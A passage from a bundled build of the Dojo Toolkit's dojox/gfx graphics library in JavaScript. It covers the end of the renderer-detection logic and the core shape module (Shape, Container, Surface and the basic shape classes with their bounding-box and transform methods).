				renderers = !renderer && (lang.isString(config.gfxRenderer) ?
					config.gfxRenderer : "svg,vml,canvas,silverlight").split(","),
				silverlightObject, silverlightFlag;

			while(!renderer && renderers.length){
				switch(renderers.shift()){
					case "svg":
						// the next test is from https://github.com/phiggins42/has.js
						if("SVGAngle" in win.global){
							renderer = "svg";
						}
						break;
					case "vml":
						if(has("vml")){
							renderer = "vml";
						}
						break;
					case "silverlight":
						try{
							if(has("ie")){
								silverlightObject = new ActiveXObject("AgControl.AgControl");
								if(silverlightObject && silverlightObject.IsVersionSupported("1.0")){
									silverlightFlag = true;
								}
							}else{
								if(navigator.plugins["Silverlight Plug-In"]){
									silverlightFlag = true;
								}
							}
						}catch(e){
							silverlightFlag = false;
						}finally{
							silverlightObject = null;
						}
						if(silverlightFlag){
							renderer = "silverlight";
						}
						break;
					case "canvas":
						if(win.global.CanvasRenderingContext2D){
							renderer = "canvas";
						}
						break;
				}
			}

			if (renderer === 'canvas' && config.canvasEvents !== false) {
				renderer = "canvasWithEvents";
			}

			if(config.isDebug){
				console.log("gfx renderer = " + renderer);
			}

			function loadRenderer(){
				require(["dojox/gfx/" + renderer], function(module){
					g.renderer = renderer;
					// memorize the renderer module
					currentRenderer = module;
					// now load it
					load(module);
				});
			}
			if(renderer == "svg" && typeof window.svgweb != "undefined"){
				window.svgweb.addOnLoad(loadRenderer);
			}else{
				loadRenderer();
			}
		}
	};
});

},
'dojox/gfx/shape':function(){
define(["./_base", "dojo/_base/lang", "dojo/_base/declare", "dojo/_base/kernel", "dojo/_base/sniff",
	"dojo/on", "dojo/_base/array", "dojo/dom-construct", "dojo/_base/Color", "./matrix" ],
	function(g, lang, declare, kernel, has, on, arr, domConstruct, Color, matrixLib){

	var shape = g.shape = {
		// summary:
		//		This module contains the core graphics Shape API.
		//		Different graphics renderer implementation modules (svg, canvas, vml, silverlight, etc.) extend this
		//		basic api to provide renderer-specific implementations for each shape.
	};

	shape.Shape = declare("dojox.gfx.shape.Shape", null, {
		// summary:
		//		a Shape object, which knows how to apply
		//		graphical attributes and transformations
	
		constructor: function(){
			// rawNode: Node
			//		underlying graphics-renderer-specific implementation object (if applicable)
			this.rawNode = null;

			// shape: Object
			//		an abstract shape object
			//		(see dojox/gfx.defaultPath,
			//		dojox/gfx.defaultPolyline,
			//		dojox/gfx.defaultRect,
			//		dojox/gfx.defaultEllipse,
			//		dojox/gfx.defaultCircle,
			//		dojox/gfx.defaultLine,
			//		or dojox/gfx.defaultImage)
			this.shape = null;
	
			// matrix: dojox/gfx/matrix.Matrix2D
			//		a transformation matrix
			this.matrix = null;
	
			// fillStyle: dojox/gfx.Fill
			//		a fill object
			//		(see dojox/gfx.defaultLinearGradient,
			//		dojox/gfx.defaultRadialGradient,
			//		dojox/gfx.defaultPattern,
			//		or dojo/Color)
			this.fillStyle = null;
	
			// strokeStyle: dojox/gfx.Stroke
			//		a stroke object
			//		(see dojox/gfx.defaultStroke)
			this.strokeStyle = null;
	
			// bbox: dojox/gfx.Rectangle
			//		a bounding box of this shape
			//		(see dojox/gfx.defaultRect)
			this.bbox = null;
	
			// virtual group structure
	
			// parent: Object
			//		a parent or null
			//		(see dojox/gfx/shape.Surface,
			//		or dojox/gfx.Group)
			this.parent = null;
	
			// parentMatrix: dojox/gfx/matrix.Matrix2D
			//		a transformation matrix inherited from the parent
			this.parentMatrix = null;

			if(has("gfxRegistry")){
				var uid = shape.register(this);
				this.getUID = function(){
					return uid;
				}
			}
		},
		
		destroy: function(){
			// summary:
			//		Releases all internal resources owned by this shape. Once this method has been called,
			//		the instance is considered destroyed and should not be used anymore.
			if(has("gfxRegistry")){
				shape.dispose(this);
			}
			if(this.rawNode && "__gfxObject__" in this.rawNode){
				this.rawNode.__gfxObject__ = null;
			}
			this.rawNode = null;
		},
	
		// trivial getters
	
		getNode: function(){
			// summary:
			//		Different graphics rendering subsystems implement shapes in different ways.  This
			//		method provides access to the underlying graphics subsystem object.  Clients calling this
			//		method and using the return value must be careful not to try sharing or using the underlying node
			//		in a general way across renderer implementation.
			//		Returns the underlying graphics Node, or null if no underlying graphics node is used by this shape.
			return this.rawNode; // Node
		},
		getShape: function(){
			// summary:
			//		returns the current Shape object or null
			//		(see dojox/gfx.defaultPath,
			//		dojox/gfx.defaultPolyline,
			//		dojox/gfx.defaultRect,
			//		dojox/gfx.defaultEllipse,
			//		dojox/gfx.defaultCircle,
			//		dojox/gfx.defaultLine,
			//		or dojox/gfx.defaultImage)
			return this.shape; // Object
		},
		getTransform: function(){
			// summary:
			//		Returns the current transformation matrix applied to this Shape or null
			return this.matrix;	// dojox/gfx/matrix.Matrix2D
		},
		getFill: function(){
			// summary:
			//		Returns the current fill object or null
			//		(see dojox/gfx.defaultLinearGradient,
			//		dojox/gfx.defaultRadialGradient,
			//		dojox/gfx.defaultPattern,
			//		or dojo/Color)
			return this.fillStyle;	// Object
		},
		getStroke: function(){
			// summary:
			//		Returns the current stroke object or null
			//		(see dojox/gfx.defaultStroke)
			return this.strokeStyle;	// Object
		},
		getParent: function(){
			// summary:
			//		Returns the parent Shape, Group or null if this Shape is unparented.
			//		(see dojox/gfx/shape.Surface,
			//		or dojox/gfx.Group)
			return this.parent;	// Object
		},
		getBoundingBox: function(){
			// summary:
			//		Returns the bounding box Rectangle for this shape or null if a BoundingBox cannot be
			//		calculated for the shape on the current renderer or for shapes with no geometric area (points).
			//		A bounding box is a rectangular geometric region
			//		defining the X and Y extent of the shape.
			//		(see dojox/gfx.defaultRect)
			//		Note that this method returns a direct reference to the attribute of this instance. Therefore you should
			//		not modify its value directly but clone it instead.
			return this.bbox;	// dojox/gfx.Rectangle
		},
		getTransformedBoundingBox: function(){
			// summary:
			//		returns an array of four points or null
			//		four points represent four corners of the untransformed bounding box
			var b = this.getBoundingBox();
			if(!b){
				return null;	// null
			}
			var m = this._getRealMatrix(),
				gm = matrixLib;
			return [	// Array
					gm.multiplyPoint(m, b.x, b.y),
					gm.multiplyPoint(m, b.x + b.width, b.y),
					gm.multiplyPoint(m, b.x + b.width, b.y + b.height),
					gm.multiplyPoint(m, b.x, b.y + b.height)
				];
		},
		getEventSource: function(){
			// summary:
			//		returns a Node, which is used as
			//		a source of events for this shape
			
			// COULD BE RE-IMPLEMENTED BY THE RENDERER!
			return this.rawNode;	// Node
		},
	
		// empty settings
		
		setClip: function(clip){
			// summary:
			//		sets the clipping area of this shape.
			// description:
			//		The clipping area defines the shape area that will be effectively visible. Everything that
			//		would be drawn outside of the clipping area will not be rendered.
			//		The possible clipping area types are rectangle, ellipse, polyline and path, but all are not
			//		supported by all the renderers. vml only supports rectangle clipping, while the gfx silverlight renderer does not
			//		support path clipping.
			//		The clip parameter defines the clipping area geometry, and should be an object with the following properties:
			//
			//		- {x:Number, y:Number, width:Number, height:Number} for rectangular clip
			//		- {cx:Number, cy:Number, rx:Number, ry:Number} for ellipse clip
			//		- {points:Array} for polyline clip
			//		- {d:String} for a path clip.
			//
			//		The clip geometry coordinates are expressed in the coordinate system used to draw the shape. In other
			//		words, the clipping area is defined in the shape parent coordinate system and the shape transform is automatically applied.
			// example:
			//		The following example shows how to clip a gfx image with all the possible clip geometry: a rectangle,
			//		an ellipse, a circle (using the ellipse geometry), a polyline and a path:
			//
			//	|	surface.createImage({src:img, width:200,height:200}).setClip({x:10,y:10,width:50,height:50});
			//	|	surface.createImage({src:img, x:100,y:50,width:200,height:200}).setClip({cx:200,cy:100,rx:20,ry:30});
			//	|	surface.createImage({src:img, x:0,y:350,width:200,height:200}).setClip({cx:100,cy:425,rx:60,ry:60});
			//	|	surface.createImage({src:img, x:300,y:0,width:200,height:200}).setClip({points:[350,0,450,50,380,130,300,110]});
			//	|	surface.createImage({src:img, x:300,y:350,width:200,height:200}).setClip({d:"M 350,350 C314,414 317,557 373,450.0000 z"});

			// clip: Object
			//		an object that defines the clipping geometry, or null to remove clip.
			
			// COULD BE RE-IMPLEMENTED BY THE RENDERER!
			this.clip = clip;
		},
		
		getClip: function(){
			return this.clip;
		},
	
		setShape: function(shape){
			// summary:
			//		sets a shape object
			//		(the default implementation simply ignores it)
			// shape: Object
			//		a shape object
			//		(see dojox/gfx.defaultPath,
			//		dojox/gfx.defaultPolyline,
			//		dojox/gfx.defaultRect,
			//		dojox/gfx.defaultEllipse,
			//		dojox/gfx.defaultCircle,
			//		dojox/gfx.defaultLine,
			//		or dojox/gfx.defaultImage)
			
			// COULD BE RE-IMPLEMENTED BY THE RENDERER!
			this.shape = g.makeParameters(this.shape, shape);
			this.bbox = null;
			return this;	// self
		},
		setFill: function(fill){
			// summary:
			//		sets a fill object
			//		(the default implementation simply ignores it)
			// fill: Object
			//		a fill object
			//		(see dojox/gfx.defaultLinearGradient,
			//		dojox/gfx.defaultRadialGradient,
			//		dojox/gfx.defaultPattern,
			//		or dojo/_base/Color)
			
			// COULD BE RE-IMPLEMENTED BY THE RENDERER!
			if(!fill){
				// don't fill
				this.fillStyle = null;
				return this;	// self
			}
			var f = null;
			if(typeof(fill) == "object" && "type" in fill){
				// gradient or pattern
				switch(fill.type){
					case "linear":
						f = g.makeParameters(g.defaultLinearGradient, fill);
						break;
					case "radial":
						f = g.makeParameters(g.defaultRadialGradient, fill);
						break;
					case "pattern":
						f = g.makeParameters(g.defaultPattern, fill);
						break;
				}
			}else{
				// color object
				f = g.normalizeColor(fill);
			}
			this.fillStyle = f;
			return this;	// self
		},
		setStroke: function(stroke){
			// summary:
			//		sets a stroke object
			//		(the default implementation simply ignores it)
			// stroke: Object
			//		a stroke object
			//		(see dojox/gfx.defaultStroke)
			
			// COULD BE RE-IMPLEMENTED BY THE RENDERER!
			if(!stroke){
				// don't stroke
				this.strokeStyle = null;
				return this;	// self
			}
			// normalize the stroke
			if(typeof stroke == "string" || lang.isArray(stroke) || stroke instanceof Color){
				stroke = {color: stroke};
			}
			var s = this.strokeStyle = g.makeParameters(g.defaultStroke, stroke);
			s.color = g.normalizeColor(s.color);
			return this;	// self
		},
		setTransform: function(matrix){
			// summary:
			//		sets a transformation matrix
			// matrix: dojox/gfx/matrix.Matrix2D
			//		a matrix or a matrix-like object
			//		(see an argument of dojox/gfx/matrix.Matrix2D
			//		constructor for a list of acceptable arguments)
			
			// COULD BE RE-IMPLEMENTED BY THE RENDERER!
			this.matrix = matrixLib.clone(matrix ? matrixLib.normalize(matrix) : matrixLib.identity);
			return this._applyTransform();	// self
		},
	
		_applyTransform: function(){
			// summary:
			//		physically sets a matrix
			
			// COULD BE RE-IMPLEMENTED BY THE RENDERER!
			return this;	// self
		},
	
		// z-index
	
		moveToFront: function(){
			// summary:
			//		moves a shape to front of its parent's list of shapes
			var p = this.getParent();
			if(p){
				p._moveChildToFront(this);
				this._moveToFront();	// execute renderer-specific action
			}
			return this;	// self
		},
		moveToBack: function(){
			// summary:
			//		moves a shape to back of its parent's list of shapes
			var p = this.getParent();
			if(p){
				p._moveChildToBack(this);
				this._moveToBack();	// execute renderer-specific action
			}
			return this;
		},
		_moveToFront: function(){
			// summary:
			//		renderer-specific hook, see dojox/gfx/shape.Shape.moveToFront()
			
			// COULD BE RE-IMPLEMENTED BY THE RENDERER!
		},
		_moveToBack: function(){
			// summary:
			//		renderer-specific hook, see dojox/gfx/shape.Shape.moveToFront()
			
			// COULD BE RE-IMPLEMENTED BY THE RENDERER!
		},
	
		// apply left & right transformation
	
		applyRightTransform: function(matrix){
			// summary:
			//		multiplies the existing matrix with an argument on right side
			//		(this.matrix * matrix)
			// matrix: dojox/gfx/matrix.Matrix2D
			//		a matrix or a matrix-like object
			//		(see an argument of dojox/gfx/matrix.Matrix2D
			//		constructor for a list of acceptable arguments)
			return matrix ? this.setTransform([this.matrix, matrix]) : this;	// self
		},
		applyLeftTransform: function(matrix){
			// summary:
			//		multiplies the existing matrix with an argument on left side
			//		(matrix * this.matrix)
			// matrix: dojox/gfx/matrix.Matrix2D
			//		a matrix or a matrix-like object
			//		(see an argument of dojox/gfx/matrix.Matrix2D
			//		constructor for a list of acceptable arguments)
			return matrix ? this.setTransform([matrix, this.matrix]) : this;	// self
		},
		applyTransform: function(matrix){
			// summary:
			//		a shortcut for dojox/gfx/shape.Shape.applyRightTransform
			// matrix: dojox/gfx/matrix.Matrix2D
			//		a matrix or a matrix-like object
			//		(see an argument of dojox/gfx/matrix.Matrix2D
			//		constructor for a list of acceptable arguments)
			return matrix ? this.setTransform([this.matrix, matrix]) : this;	// self
		},
	
		// virtual group methods
	
		removeShape: function(silently){
			// summary:
			//		removes the shape from its parent's list of shapes
			// silently: Boolean
			//		if true, do not redraw a picture yet
			if(this.parent){
				this.parent.remove(this, silently);
			}
			return this;	// self
		},
		_setParent: function(parent, matrix){
			// summary:
			//		sets a parent
			// parent: Object
			//		a parent or null
			//		(see dojox/gfx/shape.Surface,
			//		or dojox/gfx.Group)
			// matrix: dojox/gfx/matrix.Matrix2D
			//		a 2D matrix or a matrix-like object
			this.parent = parent;
			return this._updateParentMatrix(matrix);	// self
		},
		_updateParentMatrix: function(matrix){
			// summary:
			//		updates the parent matrix with new matrix
			// matrix: dojox/gfx/Matrix2D
			//		a 2D matrix or a matrix-like object
			this.parentMatrix = matrix ? matrixLib.clone(matrix) : null;
			return this._applyTransform();	// self
		},
		_getRealMatrix: function(){
			// summary:
			//		returns the cumulative ('real') transformation matrix
			//		by combining the shape's matrix with its parent's matrix
			var m = this.matrix;
			var p = this.parent;
			while(p){
				if(p.matrix){
					m = matrixLib.multiply(p.matrix, m);
				}
				p = p.parent;
			}
			return m;	// dojox/gfx/matrix.Matrix2D
		}
	});
	
	shape._eventsProcessing = {
		on: function(type, listener){
			//	summary:
			//		Connects an event to this shape.

			return on(this.getEventSource(), type, shape.fixCallback(this, g.fixTarget, listener));
		},

		connect: function(name, object, method){
			// summary:
			//		connects a handler to an event on this shape
			
			// COULD BE RE-IMPLEMENTED BY THE RENDERER!
			// redirect to fixCallback to normalize events and add the gfxTarget to the event. The latter
			// is done by dojox/gfx.fixTarget which is defined by each renderer
			if(name.substring(0, 2) == "on"){
				name = name.substring(2);
			}
			return this.on(name, method ? lang.hitch(object, method) : object);
		},

		disconnect: function(token){
			// summary:
			//		connects a handler by token from an event on this shape
			
			// COULD BE RE-IMPLEMENTED BY THE RENDERER!
	
			return token.remove();
		}
	};
	
	shape.fixCallback = function(gfxElement, fixFunction, scope, method){
		// summary:
		//		Wraps the callback to allow for tests and event normalization
		//		before it gets invoked. This is where 'fixTarget' is invoked.
		// tags:
		//      private
		// gfxElement: Object
		//		The GFX object that triggers the action (ex.:
		//		dojox/gfx.Surface and dojox/gfx/shape.Shape). A new event property
		//		'gfxTarget' is added to the event to reference this object.
		//		for easy manipulation of GFX objects by the event handlers.
		// fixFunction: Function
		//		The function that implements the logic to set the 'gfxTarget'
		//		property to the event. It should be 'dojox/gfx.fixTarget' for
		//		most of the cases
		// scope: Object
		//		Optional. The scope to be used when invoking 'method'. If
		//		omitted, a global scope is used.
		// method: Function|String
		//		The original callback to be invoked.
		if(!method){
			method = scope;
			scope = null;
		}
		if(lang.isString(method)){
			scope = scope || kernel.global;
			if(!scope[method]){ throw(['dojox.gfx.shape.fixCallback: scope["', method, '"] is null (scope="', scope, '")'].join('')); }
			return function(e){  
				return fixFunction(e,gfxElement) ? scope[method].apply(scope, arguments || []) : undefined; }; // Function
		}
		return !scope 
			? function(e){ 
				return fixFunction(e,gfxElement) ? method.apply(scope, arguments) : undefined; } 
			: function(e){ 
				return fixFunction(e,gfxElement) ? method.apply(scope, arguments || []) : undefined; }; // Function
	};
	lang.extend(shape.Shape, shape._eventsProcessing);
	
	shape.Container = {
		// summary:
		//		a container of shapes, which can be used
		//		as a foundation for renderer-specific groups, or as a way
		//		to logically group shapes (e.g, to propagate matricies)
	
		_init: function() {
			// children: Array
			//		a list of children
			this.children = [];
			this._batch = 0;
		},
	
		// group management
	
		openBatch: function() {
			// summary:
			//		starts a new batch, subsequent new child shapes will be held in
			//		the batch instead of appending to the container directly.
			// description:
			//		Because the canvas renderer has no DOM hierarchy, the canvas implementation differs
			//		such that it suspends the repaint requests for this container until the current batch is closed by a call to closeBatch().
			return this;
		},
		closeBatch: function() {
			// summary:
			//		submits the current batch, append all pending child shapes to DOM
			// description:
			//		On canvas, this method flushes the pending redraws queue.
			return this;
		},
		add: function(shape){
			// summary:
			//		adds a shape to the list
			// shape: dojox/gfx/shape.Shape
			//		the shape to add to the list
			var oldParent = shape.getParent();
			if(oldParent){
				oldParent.remove(shape, true);
			}
			this.children.push(shape);
			return shape._setParent(this, this._getRealMatrix());	// self
		},
		remove: function(shape, silently){
			// summary:
			//		removes a shape from the list
			// shape: dojox/gfx/shape.Shape
			//		the shape to remove
			// silently: Boolean
			//		if true, do not redraw a picture yet
			for(var i = 0; i < this.children.length; ++i){
				if(this.children[i] == shape){
					if(silently){
						// skip for now
					}else{
						shape.parent = null;
						shape.parentMatrix = null;
					}
					this.children.splice(i, 1);
					break;
				}
			}
			return this;	// self
		},
		clear: function(/*Boolean?*/ destroy){
			// summary:
			//		removes all shapes from a group/surface.
			// destroy: Boolean
			//		Indicates whether the children should be destroyed. Optional.
			var shape;
			for(var i = 0; i < this.children.length;++i){
				shape = this.children[i];
				shape.parent = null;
				shape.parentMatrix = null;
				if(destroy){
					shape.destroy();
				}
			}
			this.children = [];
			return this;	// self
		},
		getBoundingBox: function(){
			// summary:
			//		Returns the bounding box Rectangle for this shape.
			if(this.children){
				// if this is a composite shape, then sum up all the children
				var result = null;
				arr.forEach(this.children, function(shape){
					var bb = shape.getBoundingBox();
					if(bb){
						var ct = shape.getTransform();
						if(ct){
							bb = matrixLib.multiplyRectangle(ct, bb);
						}
						if(result){
							// merge two bbox 
							result.x = Math.min(result.x, bb.x);
							result.y = Math.min(result.y, bb.y);
							result.endX = Math.max(result.endX, bb.x + bb.width);
							result.endY = Math.max(result.endY, bb.y + bb.height);
						}else{
							// first bbox 
							result = {
								x: bb.x,
								y: bb.y,
								endX: bb.x + bb.width,
								endY: bb.y + bb.height
							};
						}
					}
				});
				if(result){
					result.width = result.endX - result.x;
					result.height = result.endY - result.y;
				}
				return result; // dojox/gfx.Rectangle
			}
			// unknown/empty bounding box, subclass shall override this impl 
			return null;
		},
		// moving child nodes
		_moveChildToFront: function(shape){
			// summary:
			//		moves a shape to front of the list of shapes
			// shape: dojox/gfx/shape.Shape
			//		one of the child shapes to move to the front
			for(var i = 0; i < this.children.length; ++i){
				if(this.children[i] == shape){
					this.children.splice(i, 1);
					this.children.push(shape);
					break;
				}
			}
			return this;	// self
		},
		_moveChildToBack: function(shape){
			// summary:
			//		moves a shape to back of the list of shapes
			// shape: dojox/gfx/shape.Shape
			//		one of the child shapes to move to the front
			for(var i = 0; i < this.children.length; ++i){
				if(this.children[i] == shape){
					this.children.splice(i, 1);
					this.children.unshift(shape);
					break;
				}
			}
			return this;	// self
		}
	};

	shape.Surface = declare("dojox.gfx.shape.Surface", null, {
		// summary:
		//		a surface object to be used for drawings
		constructor: function(){
			// underlying node
			this.rawNode = null;
			// the parent node
			this._parent = null;
			// the list of DOM nodes to be deleted in the case of destruction
			this._nodes = [];
			// the list of events to be detached in the case of destruction
			this._events = [];
		},
		destroy: function(){
			// summary:
			//		destroy all relevant external resources and release all
			//		external references to make this object garbage-collectible
			arr.forEach(this._nodes, domConstruct.destroy);
			this._nodes = [];
			arr.forEach(this._events, function(h){ if(h){ h.remove(); } });
			this._events = [];
			this.rawNode = null;	// recycle it in _nodes, if it needs to be recycled
			if(has("ie")){
				while(this._parent.lastChild){
					domConstruct.destroy(this._parent.lastChild);
				}
			}else{
				this._parent.innerHTML = "";
			}
			this._parent = null;
		},
		getEventSource: function(){
			// summary:
			//		returns a node, which can be used to attach event listeners
			return this.rawNode; // Node
		},
		_getRealMatrix: function(){
			// summary:
			//		always returns the identity matrix
			return null;	// dojox/gfx/Matrix2D
		},
		/*=====
		 setDimensions: function(width, height){
			 // summary:
			 //		sets the width and height of the rawNode
			 // width: String
			 //		width of surface, e.g., "100px"
			 // height: String
			 //		height of surface, e.g., "100px"
			 return this;	// self
		 },
		 getDimensions: function(){
			 // summary:
			 //     gets current width and height in pixels
			 // returns: Object
			 //     object with properties "width" and "height"
		 },
		 =====*/
		isLoaded: true,
		onLoad: function(/*dojox/gfx/shape.Surface*/ surface){
			// summary:
			//		local event, fired once when the surface is created
			//		asynchronously, used only when isLoaded is false, required
			//		only for Silverlight.
		},
		whenLoaded: function(/*Object|Null*/ context, /*Function|String*/ method){
			var f = lang.hitch(context, method);
			if(this.isLoaded){
				f(this);
			}else{
				on.once(this, "load", function(surface){
					f(surface);
				});
			}
		}
	});
	lang.extend(shape.Surface, shape._eventsProcessing);

	/*=====
	g.Point = declare("dojox/gfx.Point", null, {
		// summary:
		//		2D point for drawings - {x, y}
		// description:
		//		Do not use this object directly!
		//		Use the naked object instead: {x: 1, y: 2}.
	});

	g.Rectangle = declare("dojox.gfx.Rectangle", null, {
		// summary:
		//		rectangle - {x, y, width, height}
		// description:
		//		Do not use this object directly!
		//		Use the naked object instead: {x: 1, y: 2, width: 100, height: 200}.
	});
	 =====*/


	shape.Rect = declare("dojox.gfx.shape.Rect", shape.Shape, {
		// summary:
		//		a generic rectangle
		constructor: function(rawNode){
			// rawNode: Node
			//		The underlying graphics system object (typically a DOM Node)
			this.shape = g.getDefault("Rect");
			this.rawNode = rawNode;
		},
		getBoundingBox: function(){
			// summary:
			//		returns the bounding box (its shape in this case)
			return this.shape;	// dojox/gfx.Rectangle
		}
	});
	
	shape.Ellipse = declare("dojox.gfx.shape.Ellipse", shape.Shape, {
		// summary:
		//		a generic ellipse
		constructor: function(rawNode){
			// rawNode: Node
			//		a DOM Node
			this.shape = g.getDefault("Ellipse");
			this.rawNode = rawNode;
		},
		getBoundingBox: function(){
			// summary:
			//		returns the bounding box
			if(!this.bbox){
				var shape = this.shape;
				this.bbox = {x: shape.cx - shape.rx, y: shape.cy - shape.ry,
					width: 2 * shape.rx, height: 2 * shape.ry};
			}
			return this.bbox;	// dojox/gfx.Rectangle
		}
	});
	
	shape.Circle = declare("dojox.gfx.shape.Circle", shape.Shape, {
		// summary:
		//		a generic circle
		constructor: function(rawNode){
			// rawNode: Node
			//		a DOM Node
			this.shape = g.getDefault("Circle");
			this.rawNode = rawNode;
		},
		getBoundingBox: function(){
			// summary:
			//		returns the bounding box
			if(!this.bbox){
				var shape = this.shape;
				this.bbox = {x: shape.cx - shape.r, y: shape.cy - shape.r,
					width: 2 * shape.r, height: 2 * shape.r};
			}
			return this.bbox;	// dojox/gfx.Rectangle
		}
	});
	
	shape.Line = declare("dojox.gfx.shape.Line", shape.Shape, {
		// summary:
		//		a generic line (do not instantiate it directly)
		constructor: function(rawNode){
			// rawNode: Node
			//		a DOM Node
			this.shape = g.getDefault("Line");
			this.rawNode = rawNode;
		},
		getBoundingBox: function(){
			// summary:
			//		returns the bounding box
			if(!this.bbox){
				var shape = this.shape;
				this.bbox = {
					x:		Math.min(shape.x1, shape.x2),
					y:		Math.min(shape.y1, shape.y2),
					width:	Math.abs(shape.x2 - shape.x1),
					height:	Math.abs(shape.y2 - shape.y1)
				};
			}
			return this.bbox;	// dojox/gfx.Rectangle
		}
	});
	
	shape.Polyline = declare("dojox.gfx.shape.Polyline", shape.Shape, {
		// summary:
		//		a generic polyline/polygon (do not instantiate it directly)
		constructor: function(rawNode){
			// rawNode: Node
			//		a DOM Node
			this.shape = g.getDefault("Polyline");
			this.rawNode = rawNode;
		},
		setShape: function(points, closed){
			// summary:
			//		sets a polyline/polygon shape object
			// points: Object|Array
			//		a polyline/polygon shape object, or an array of points
			// closed: Boolean
			//		close the polyline to make a polygon
			if(points && points instanceof Array){
				this.inherited(arguments, [{points: points}]);
				if(closed && this.shape.points.length){
					this.shape.points.push(this.shape.points[0]);
				}
			}else{
				this.inherited(arguments, [points]);
			}
			return this;	// self
		},
		_normalizePoints: function(){
			// summary:
			//		normalize points to array of {x:number, y:number}
			var p = this.shape.points, l = p && p.length;
			if(l && typeof p[0] == "number"){
				var points = [];
				for(var i = 0; i < l; i += 2){
					points.push({x: p[i], y: p[i + 1]});
				}
				this.shape.points = points;
			}
		},
		getBoundingBox: function(){
			// summary:
			//		returns the bounding box
			if(!this.bbox && this.shape.points.length){
				var p = this.shape.points;
				var l = p.length;
				var t = p[0];
				var bbox = {l: t.x, t: t.y, r: t.x, b: t.y};
				for(var i = 1; i < l; ++i){
					t = p[i];
					if(bbox.l > t.x) bbox.l = t.x;
					if(bbox.r < t.x) bbox.r = t.x;
					if(bbox.t > t.y) bbox.t = t.y;
					if(bbox.b < t.y) bbox.b = t.y;
				}
				this.bbox = {
					x:		bbox.l,
					y:		bbox.t,
					width:	bbox.r - bbox.l,
					height:	bbox.b - bbox.t
				};
			}
			return this.bbox;	// dojox/gfx.Rectangle
		}
	});
	
	shape.Image = declare("dojox.gfx.shape.Image", shape.Shape, {
		// summary:
		//		a generic image (do not instantiate it directly)
		constructor: function(rawNode){
			// rawNode: Node
			//		a DOM Node
			this.shape = g.getDefault("Image");
			this.rawNode = rawNode;
		},
		getBoundingBox: function(){
			// summary:
			//		returns the bounding box (its shape in this case)
			return this.shape;	// dojox/gfx.Rectangle
		},
		setStroke: function(){
			// summary:
			//		ignore setting a stroke style
			return this;	// self
		},
		setFill: function(){
			// summary:
			//		ignore setting a fill style
			return this;	// self
		}
	});
	
	shape.Text = declare(shape.Shape, {
		// summary:
		//		a generic text (do not instantiate it directly)
		constructor: function(rawNode){
			// rawNode: Node
			//		a DOM Node
			this.fontStyle = null;
			this.shape = g.getDefault("Text");
			this.rawNode = rawNode;
		},
		getFont: function(){
			// summary:
			//		returns the current font object or null
			return this.fontStyle;	// Object
		},
		setFont: function(newFont){
			// summary:
			//		sets a font for text
			// newFont: Object
			//		a font object (see dojox/gfx.defaultFont) or a font string
			this.fontStyle = typeof newFont == "string" ? g.splitFontString(newFont) :
				g.makeParameters(g.defaultFont, newFont);
			this._setFont();
			return this;	// self
		},
		getBoundingBox: function(){
			var bbox = null, s = this.getShape();
			if(s.text){
				bbox = g._base._computeTextBoundingBox(this);
			}
			return bbox;
		}
	});
	
	shape.Creator = {
		// summary:
		//		shape creators
		createShape: function(shape){
			// summary:
			//		creates a shape object based on its type; it is meant to be used
			//		by group-like objects
			// shape: Object
			//		a shape descriptor object
			// returns: dojox/gfx/shape.Shape | Null
			//      a fully instantiated surface-specific Shape object
			switch(shape.type){
				case g.defaultPath.type:		return this.createPath(shape);
				case g.defaultRect.type:		return this.createRect(shape);
				case g.defaultCircle.type:	    return this.createCircle(shape);
				case g.defaultEllipse.type:	    return this.createEllipse(shape);
				case g.defaultLine.type:		return this.createLine(shape);
				case g.defaultPolyline.type:	return this.createPolyline(shape);
				case g.defaultImage.type:		return this.createImage(shape);
				case g.defaultText.type:		return this.createText(shape);
				case g.defaultTextPath.type:	return this.createTextPath(shape);
			}
			return null;
		},
		createGroup: function(){
			// summary:
			//		creates a group shape
			return this.createObject(g.Group);	// dojox/gfx/Group
		},
		createRect: function(rect){
			// summary:
			//		creates a rectangle shape
			// rect: Object
			//		a path object (see dojox/gfx.defaultRect)
			return this.createObject(g.Rect, rect);	// dojox/gfx/shape.Rect
		},
		createEllipse: function(ellipse){
			// summary:
			//		creates an ellipse shape
			// ellipse: Object
			//		an ellipse object (see dojox/gfx.defaultEllipse)
			return this.createObject(g.Ellipse, ellipse);	// dojox/gfx/shape.Ellipse
		},
		createCircle: function(circle){
			// summary:
			//		creates a circle shape
			// circle: Object
			//		a circle object (see dojox/gfx.defaultCircle)
			return this.createObject(g.Circle, circle);	// dojox/gfx/shape.Circle
		},
		createLine: function(line){
			// summary:
			//		creates a line shape
			// line: Object
			//		a line object (see dojox/gfx.defaultLine)
			return this.createObject(g.Line, line);	// dojox/gfx/shape.Line
		},
		createPolyline: function(points){
			// summary:
			//		creates a polyline/polygon shape
			// points: Object
			//		a points object (see dojox/gfx.defaultPolyline)
			//		or an Array of points
			return this.createObject(g.Polyline, points);	// dojox/gfx/shape.Polyline
		},
		createImage: function(image){
			// summary:
			//		creates a image shape
			// image: Object
			//		an image object (see dojox/gfx.defaultImage)
			return this.createObject(g.Image, image);	// dojox/gfx/shape.Image
		},
		createText: function(text){
			// summary:
			//		creates a text shape
			// text: Object
			//		a text object (see dojox/gfx.defaultText)
			return this.createObject(g.Text, text);	// dojox/gfx/shape.Text
		},
		createPath: function(path){
			// summary:
			//		creates a path shape
			// path: Object
			//		a path object (see dojox/gfx.defaultPath)
			return this.createObject(g.Path, path);	// dojox/gfx/shape.Path
		},
		createTextPath: function(text){
			// summary:
			//		creates a text shape
			// text: Object
			//		a textpath object (see dojox/gfx.defaultTextPath)
			return this.createObject(g.TextPath, {}).setText(text);	// dojox/gfx/shape.TextPath
		},
		createObject: function(shapeType, rawShape){
			// summary:
			//		creates an instance of the passed shapeType class
			// shapeType: Function
			//		a class constructor to create an instance of
			// rawShape: Object 
			//		properties to be passed in to the classes 'setShape' method
	
			// SHOULD BE RE-IMPLEMENTED BY THE RENDERER!
			return null;	// dojox/gfx/shape.Shape
		}
	};
	
	/*=====
	 lang.extend(shape.Surface, shape.Container);
	 lang.extend(shape.Surface, shape.Creator);

	 g.Group = declare(shape.Shape, {
		// summary:
		//		a group shape, which can be used
		//		to logically group shapes (e.g, to propagate matricies)
	});
	lang.extend(g.Group, shape.Container);
	lang.extend(g.Group, shape.Creator);

	g.Rect     = shape.Rect;
	g.Circle   = shape.Circle;
	g.Ellipse  = shape.Ellipse;
	g.Line     = shape.Line;
	g.Polyline = shape.Polyline;
	g.Text     = shape.Text;
	g.Surface  = shape.Surface;
	=====*/

	return shape;
});

},
'dojox/gfx/matrix':function(){
